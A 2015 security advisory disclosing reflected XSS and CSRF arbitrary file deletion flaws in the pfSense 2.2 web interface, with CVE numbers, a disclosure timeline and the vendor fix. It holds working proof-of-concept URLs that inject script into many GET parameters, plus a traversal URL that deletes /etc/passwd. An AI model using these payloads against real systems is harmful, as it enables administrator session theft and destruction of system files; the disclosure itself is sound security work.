Arbitrary file deletion and multiple XSS vulnerabilities in pfSense

[High-Tech Bridge Security Research <advisory@xxxxxxxxxxx>]

Advisory ID: HTB23251
Product: pfSense
Vendor: Electric Sheep Fencing LLC 
Vulnerable Version(s): 2.2 and probably prior
Tested Version: 2.2
Advisory Publication:  March 4, 2015  [without technical details]
Vendor Notification: March 4, 2015 
Vendor Patch: March 5, 2015 
Public Disclosure: March 25, 2015 
Vulnerability Type: Cross-Site Scripting [CWE-79], Cross-Site Request Forgery 
[CWE-352]
CVE References: CVE-2015-2294, CVE-2015-2295
Risk Level: Medium 
CVSSv2 Base Scores: 2.6 (AV:N/AC:H/Au:N/C:N/I:P/A:N), 5.4 
(AV:N/AC:H/Au:N/C:N/I:N/A:C)
Solution Status: Fixed by Vendor
Discovered and Provided: High-Tech Bridge Security Research Lab ( 
https://www.htbridge.com/advisory/ ) 

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Advisory Details:

High-Tech Bridge Security Research Lab discovered multiple vulnerabilities in 
web interface of pfSense, which can be exploited to perform Cross-Site 
Scripting (XSS) attacks against administrator of pfSense and delete arbitrary 
files via CSRF (Cross-Site Request Forgery) attacks.

Successful exploitation of the vulnerabilities may allow an attacker to delete 
arbitrary files on the system with root privileges, steal administrator’s 
cookies and gain complete control over the web application and even the entire 
system, as pfSense is running with root privileges and allows OS command 
execution via its web interface.


1) Multiple XSS vulnerabilities in pfSense: CVE-2015-2294

1.1 Input passed via the "zone" HTTP GET parameter to 
"/status_captiveportal.php" script is not properly sanitised before being 
returned to the user. A remote attacker can trick a logged-in administrator to 
open a specially crafted link and execute arbitrary HTML and script code in 
browser in context of the vulnerable website.

PoC code below uses JS "alert()" function to display "ImmuniWeb" popup:

https://[host]/status_captiveportal.php?zone=%27%22%3E%3Cscript%3Ealert%28%27ImmuniWeb%27%29;%3C/script%3E

1.2 Input passed via the "if" and "dragtable" HTTP GET parameters to 
"/firewall_rules.php" script is not properly sanitised before being returned to 
the user. A remote attacker can trick a logged-in administrator to open a 
specially crafted link and execute arbitrary HTML and script code in browser in 
context of the vulnerable website.

Below are two PoC codes for each vulnerable parameter that use JS "alert()" 
function to display "ImmuniWeb" popup:

https://[host]/firewall_rules.php?undodrag=1&dragtable=&if=%27%22%3E%3Cscript%3Ealert%28%27ImmuniWeb%27%29;%3C/script%3E

https://[host]/firewall_rules.php?if=wan&undodrag=1&dragtable%5B%5D=%27%22%3E%3Cscript%3Ealert%28%27ImmuniWeb%27%29;%3C/script%3E

1.3 Input passed via the "queue" HTTP GET parameter to "/firewall_shaper.php" 
script is not properly sanitised before being returned to the user. A remote 
attacker can trick a logged-in administrator to open a specially crafted link 
and execute arbitrary HTML and script code in browser in context of the 
vulnerable website.

PoC code below uses JS "alert()" function to display "ImmuniWeb" popup:

https://[host]/firewall_shaper.php?interface=wan&action=add&queue=%27%22%3E%3Cscript%3Ealert%28%27ImmuniWeb%27%29;%3C/script%3E

1.4 Input passed via the "id" HTTP GET parameter to 
"/services_unbound_acls.php" script is not properly sanitised before being 
returned to the user. A remote attacker can trick a logged-in administrator to 
open a specially crafted link and execute arbitrary HTML and script code in 
browser in context of the vulnerable website.

PoC code below uses JS "alert()" function to display "ImmuniWeb" popup:

https://[host]/services_unbound_acls.php?act=edit&id=%27%22%3E%3Cscript%3Ealert%28%27ImmuniWeb%27%29;%3C/script%3E

1.5 Input passed via the "filterlogentries_time", 
"filterlogentries_sourceipaddress", "filterlogentries_sourceport", 
"filterlogentries_destinationipaddress", "filterlogentries_interfaces", 
"filterlogentries_destinationport", "filterlogentries_protocolflags" and 
"filterlogentries_qty" HTTP GET parameters to "/diag_logs_filter.php" script is 
not properly sanitised before being returned to the user. A remote attacker can 
trick a logged-in administrator to open a specially crafted link and execute 
arbitrary HTML and script code in browser in context of the vulnerable website.

Below are eight PoC codes for each vulnerable parameter that use JS "alert()" 
function to display "ImmuniWeb" popup:

https://[host]/diag_logs_filter.php?filterlogentries_submit=1&filterlogentries_time=%27%22%3E%3Cscript%3Ealert%28%27ImmuniWeb%27%29;%3C/script%3E

https://[host]/diag_logs_filter.php?filterlogentries_submit=1&filterlogentries_sourceipaddress=%27%22%3E%3Cscript%3Ealert%28%27ImmuniWeb%27%29;%3C/script%3E

https://[host]/diag_logs_filter.php?filterlogentries_submit=1&filterlogentries_sourceport=%27%22%3E%3Cscript%3Ealert%28%27ImmuniWeb%27%29;%3C/script%3E

https://[host]/diag_logs_filter.php?filterlogentries_submit=1&filterlogentries_destinationipaddress=%27%22%3E%3Cscript%3Ealert%28%27ImmuniWeb%27%29;%3C/script%3E

https://[host]/diag_logs_filter.php?filterlogentries_submit=1&filterlogentries_interfaces=%27%22%3E%3Cscript%3Ealert%28%27ImmuniWeb%27%29;%3C/script%3E

https://[host]/diag_logs_filter.php?filterlogentries_submit=1&filterlogentries_destinationport=%27%22%3E%3Cscript%3Ealert%28%27ImmuniWeb%27%29;%3C/script%3E

https://[host]/diag_logs_filter.php?filterlogentries_submit=1&filterlogentries_protocolflags=%27%22%3E%3Cscript%3Ealert%28%27ImmuniWeb%27%29;%3C/script%3E

https://[host]/diag_logs_filter.php?filterlogentries_submit=1&filterlogentries_qty=%27%22%3E%3Cscript%3Ealert%28%27ImmuniWeb%27%29;%3C/script%3E


2) Cross-Site Request Forgery (CSRF) in pfSense: CVE-2015-2295

2.1 The vulnerability exists due to insufficient validation of the HTTP request 
origin in "/system_firmware_restorefullbackup.php" script. A remote attacker 
can trick a log-in administrator to visit a malicious page with CSRF exploit 
and delete arbitrary files on the target system with root privileges.

The following PoC code deletes file "/etc/passwd":

https://[host]/system_firmware_restorefullbackup.php?deletefile=../etc/passwd


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Solution:

Update to pfSense 2.2.1

More Information:
https://blog.pfsense.org/?p=1661

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References:

[1] High-Tech Bridge Advisory HTB23251 - 
https://www.htbridge.com/advisory/HTB23251 - Arbitrary file deletion and 
multiple XSS vulnerabilities in pfSense.
[2] pfSense - https://www.pfsense.org - The pfSense® project is a free, open 
source customized distribution of FreeBSD specifically tailored for use as a 
firewall and router that is entirely managed via web interface.
[3] Common Vulnerabilities and Exposures (CVE) - http://cve.mitre.org/ - 
international in scope and free for public use, CVE® is a dictionary of 
publicly known information security vulnerabilities and exposures.
[4] Common Weakness Enumeration (CWE) - http://cwe.mitre.org - targeted to 
developers and security practitioners, CWE is a formal list of software 
weakness types.
[5] ImmuniWeb® SaaS - https://www.htbridge.com/immuniweb/ - hybrid of manual 
web application penetration test and cutting-edge vulnerability scanner 
available online via a Software-as-a-Service (SaaS) model.

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Disclaimer: The information provided in this Advisory is provided "as is" and 
without any warranty of any kind. Details of this Advisory may be updated in 
order to provide as accurate information as possible. The latest version of the 
Advisory is available on web page [1] in the References.